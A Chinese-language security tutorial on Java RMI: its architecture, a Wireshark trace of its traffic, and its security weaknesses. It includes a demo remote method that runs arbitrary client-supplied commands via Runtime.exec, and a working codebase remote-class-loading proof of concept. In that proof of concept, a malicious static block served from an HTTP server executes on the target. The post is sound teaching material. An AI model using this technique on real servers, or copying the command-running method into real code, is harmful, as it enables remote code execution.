浅谈 Java RMI
0x00 前言
在上一篇文章中我们分析了fastjson TemplatesImpl的利用链,本来这篇应该是分析fastjson JdbcRowSetImpl利用链的,但是由于在JdbcRowSetImpl这条链中会用到RMI相关知识,所以这篇文章我们就先来简单的学习一下RMI
在学习过程中发现RMI的知识非常的多,所以本篇文章只是简单的介绍一下RMI,后续有时间会具体研究补上文章
0x01 RMI 介绍
RMI(Rmote Method Invoke)全名远程方法调用。其实就是客户端(Client)可以远程调用服务端(Server)上的方法,JVM虚拟机能够远程调用另一个JVM虚拟机中的方法,但是客户端中并不是直接调用服务器上的方法的,而是会借助存根 (stub) 充当我们客户端的代理,来访问服务端,同时骨架 (Skeleton) 是另一个代理,它与真实对象一起在服务端上,骨架将接受到的请求交给服务器来处理,服务器处理完成之后将结果进行打包发送至存根 ,然后存根将结果进行解包之后的结果发送给客户端
有几点我们单独拿出来说说
序列化传输
RMI在数据传输中的对象必须要实现java.io.Serializable接口,因为传输过程中都是进行序列化进行传输并且客户端的serialVersionUID字段要与服务器端保持一致。下图中的ac ed就是反序列化的标志
RMI 主要构成部分
RMI的主要由三部分组成
- RMI Registry 注册表:服务实例将被注册表注册到特定的名称中(可以理解为电话簿)
- RMI Server 服务端
- RMI Client 客户端:客户端通过查询注册表来获取对应名称的对象引用,以及该对象实现的接口
这里借用P牛的图片简单说一下流程(具体会在下文进行分析)
首先我们的RMI Client 会远程连接RMI Registry(默认端口1099),然后会在Registry 寻找名字为Test的对象 (假设此时客户端要调用Test对象中的某个方法),Registry会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根stub),客户端在接受到之后首先会在本机中的classpath进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行tcp连接。
存根(Stub)和骨架(Skeleton)
参考自:https://paper.seebug.org/1091/#java-rmi_1
当RMI Server 启动的时候端口是被随机分配的,但是我们的RMI Registry端口是知道的
- 客户端通过远程连接 Registry 获取存根(Stub),存根(Stub)中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
- 由于存根(Stub) 是客户端的代理类,所以客户端可以调用Stub上的方法
- Stub远程连接到服务器,提交对应的参数
- 骨架(Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的Server
- Server执行之后将结果进行打包,传输给Client
0x02 简单的 RMI Demo
前面概念说了那么多接下来我们直接结合实例来分析
Server
- 编写一个实现Remote的接口
- 编写一个继承于UnicastRemoteObject的接口实现类
远程对象的实现类必须要继承自UnicastRemoteObject,只有继承了才能表示该类是一个远程对象,如果不继承的话我们就需要手动调用类中的exportObject静态方法
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote{
String RmiDemo() throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
public RMIInstance() throws RemoteException {
super();
}
public String RmiDemo(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
}
Registry
RMI Registry就像一个RMI 电话簿,你可以使用Registry来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个Name 到对象的绑定关系,但是Registry⾃己是不会执行远程⽅法的,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际上在RMI Server上调用的。
// 创建并运行了Registry服务,且端口为1099
LocateRegistry.createRegistry(1099);
// Naming.bind 进行绑定,将rmIinterface对象绑定到Exp这个名字上, 第一个参数为一个为url,第二个参数则是我们的对象
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
我们这边将Server 和 Registry进行组合
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote{
String RmiDemo() throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
public RMIInstance() throws RemoteException {
super();
}
public String RmiDemo(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
public void start() throws Exception{
RMIinterface rmIinterface = new RMIInstance();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
}
public static void main(String[] args) throws Exception {
new server().start();
}
}
Client
利用Naming.lookup找到对应的实例,然后调用方法,将 open -a Calculator
作为参数进行传入
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception{
server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
String res = rmIinterface.RmiDemo("open -a Calculator");
System.out.println(res);
}
}
可以发现成功触发Server类中的方法,从而跳出计算器
RMI通信(Wireshark)
首先会和Registry进行TCP三次握手,建立连接
然后在红框处,Client会向Registry发出一个Call请求,然后Registry会返回一个ReturnData,ReturnData中会包含目标IP地址等信息(数据传输都是序列化的)
搜索语句 : rmi || tcp.port eq 53835 || tcp.port eq 53756
这里我是根据端口号对应的提取出来的,如果在实际情况下可以直接定位源ip和目的ip
查看ReturnData的数据
下方红框处就代表的是端口,在返回的数据中不仅仅包含了地址端口信息还包含了其他信息
红框处的 \x00\x00\xd1\xfa
首先这里涉及大端序小端序的问题(这里感谢ruozhi师傅的解答),想了解具体的可以参考下面这篇文章
https://www.ruanyifeng.com/blog/2016/11/byte-order.html
简单的概括一下就是,我们在平时遇到的时候都是大端序,但是计算机在读取数据的时候会优先读取低位也就是采用小端序 (这样效率更高)
所以这里我们需要利用python将大小端进行转换,转换之后发现返回的端口是53754
ps:这里的 >I
是struct的格式支持,感兴趣的师傅们可以看下方链接的文章
https://www.cnblogs.com/gala/archive/2011/09/22/2184801.html
在知道远程服务器的端口号之后,我们可先增加wireshark过滤条件 tcp.port eq 53754
(本地的包太多包了Orz)
过滤之后发现,客户端在获取到了远程服务器的地址及端口号之后,会和Server进行了一次tcp连接
所以在整个RMI通信流程中一共会进行两次TCP连接
- 第一次会和Registry建立一次TCP连接,Registry返回存根(Stub)
- 第二次获取到Server的地址后(192.168.1.116:53754),利用存根调用远程方法进行第二次TCP连接,所以方法调用就是在该TCP通信中
最后再放一张流程图方便大家理解
0x03 RMI带来的安全问题
RMI由于传输是序列化传输的所以会带来很多的安全问题,这里主要来简单的介绍一下
通常RMI Registry的默认端口为1099,那么在我们能够访问到RMI Registry的情况下我们可以做什么?
- 尝试绑定恶意对象
答案是不可以,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind方法,但是我们可以使用list和lookup方法 - 利用RMI服务器上存在的恶意方法进行命令执行
我们可以首先通过list列出所有的对象引用,然后只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测
https://github.com/NickstaDB/BaRMIe
利用codebase执行命令
codebase是什么
简单来说codebase就是远程加载类的路径,当对象在发送序列化的数据的时候会带上codebase信息,当接受方在本地classpath中没有找到类的话,就会去codebase所指向的地址加载类
我们可以利用 -Djava.rmi.server.codebase=http://url:8080/
来设置我们的codebase参数
codebase的危害
以上是正常的用途,但是作为安全人员如果将codebase指定为我们的恶意地址这样就很有可能造成危害,如果将codebase指向地址上的类改为Server请求的同名文件,那么Server就会加载我们的恶意类从而造成命令执行
所以官方也意识到了这一问题,并采取了一些措施
官方将 java.rmi.server.useCodebaseOnly
参数的默认值由false
改为了true
。在java.rmi.server.useCodebaseOnly
参数配置为 true
的情况下,Java虚拟机将只信任预先配置好的 codebase
,不再支持从RMI请求中获取。
所以现在需要符合以下条件才能成功利用:
- 安装并配置了SecurityManager
- 配置
java.rmi.server.useCodebaseOnly
参数为false
例:java -Djava.rmi.server.useCodebaseOnly=false
将RMIClient.java 编译之后会生成RMIClient.class 和 RMIClient$Payload.class,同时我们的服务器又会访问这两个文件
那么如果我们往RMIClient.java中添加恶意命令执行的代码,例如如下恶意静态代码
static {
try{
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e){
e.printStackTrace();
}
}
那么在指定codebase的情况下,服务器就会向我们codebase所指向的地址进行请求并且加载,从而触发静态代码片段中的恶意命令从而执行命令,下面就是服务端请求的截图:
这里利用p神的代码进行复现,下面首先进行一些配置
ICalc.java
首先创建一个sum接口
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
Calc.java
编写一个接口的实现类
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
RemoteRMIServer.java
编写远程RMI服务器,这里将Registry 与 Server 绑定在了一起
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc(); LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
命令行:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy RemoteRMIServer
IDEA配置如下:
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy
RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
private static final long serialVersionUID = 1L;
public class Payload extends ArrayList<Integer>
{}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.1.116:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li)); }
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
命令行配置:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.116:8000/ -Djava.security.policy=client.policy RMIClient
IDEA配置:
IDEA 如果要debug分析的话,需要删除target文件夹下的这两个文件,因为这样会优先加载本地classpath而不去加载我们codebase指定的远程路径上的类
java.policy.applet
在目录下添加该文件,如果不添加的话就会有报错显示没有权限
grant{
permission java.security.AllPermission;
};
开启HTTP服务器
恶意RMIClient.java
在静态代码段中插入我们的恶意命令
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
private static final long serialVersionUID = 1L;
static {
try{
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e){
e.printStackTrace();
}
}
public class Payload extends ArrayList<Integer>
{}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.1.116:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li)); }
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
先编译文件夹下的所有java文件,然后开启8000端口的http服务器
javac *.java
python -m SimpleHTTPServer 8000
最终执行效果,发现我们的服务端请求了我们恶意HTTP服务器上的恶意类并且进行了加载从而触发了命令执行
效果如下:
该命令执行是服务端,服务端接收到之后向codebase指向的地址进行请求并进行加载,如果codebase可控,那么我们就可以插入我们的地址从而导致命令执行
RMI codebase命令执行简单分析
由于具体流程分析太长(同时俺太菜)所以这里只对命令执行过程中的关键点进行分析
ps:debug过程中将如下红框取消勾选,由于代码中涉及代理,而IDEA debug是利用toString,在调用toString的时候会进入代理类的invoke方法从而影响调试结果
RemoteRMIServer
sun.rmi.server.MarshalInputStream.class
62行 (这里俺是一步步跟下来的,太菜了只能慢慢跟
在红框处 利用RMIClassLoader进行了类的加载,远程加载了我们http服务器上的类
跟进loadClass方法
继续进行跟进
进入 pathToURLs 方法 发现会先存入缓存
最终远程加载我们的恶意类
一路跟下来发现在红框处进行了类的加载
跟进发现是继承于URLClassLoader,所以实际上是利用URLClassLoader进行远程加载的
所以从源码层面看是服务端向codebase发起了请求,利用了URLClassLoader进行了加载,最终导致命令执行
0x04 写在最后(碎碎念
Java RMI 涉及非常多,在该片文章中只能浅显的进行介绍,这里也对各位读者说一声抱歉,后面会写
每次写文章的时候都很想把每个地方都写清楚,想让更少的人走弯路,但又深知自己只是一个学习Java不久的初学者,很多地方都没有自己的深入理解,导致在写文章中很多地方没有写清楚,但是同时又想尽快的更新文章,就导致自己比较浮躁
写在文章最后也是想劝谏自己耐心钻研学习,少些浮躁,争取写出更多高质量的文章。
0x05 参考链接
p牛-代码审计
https://y4er.com/post/java-rmi/
https://www.f4de.ink/pages/152581/#rmi和jndi
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl利用链/
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://www.anquanke.com/post/id/199481#h3-10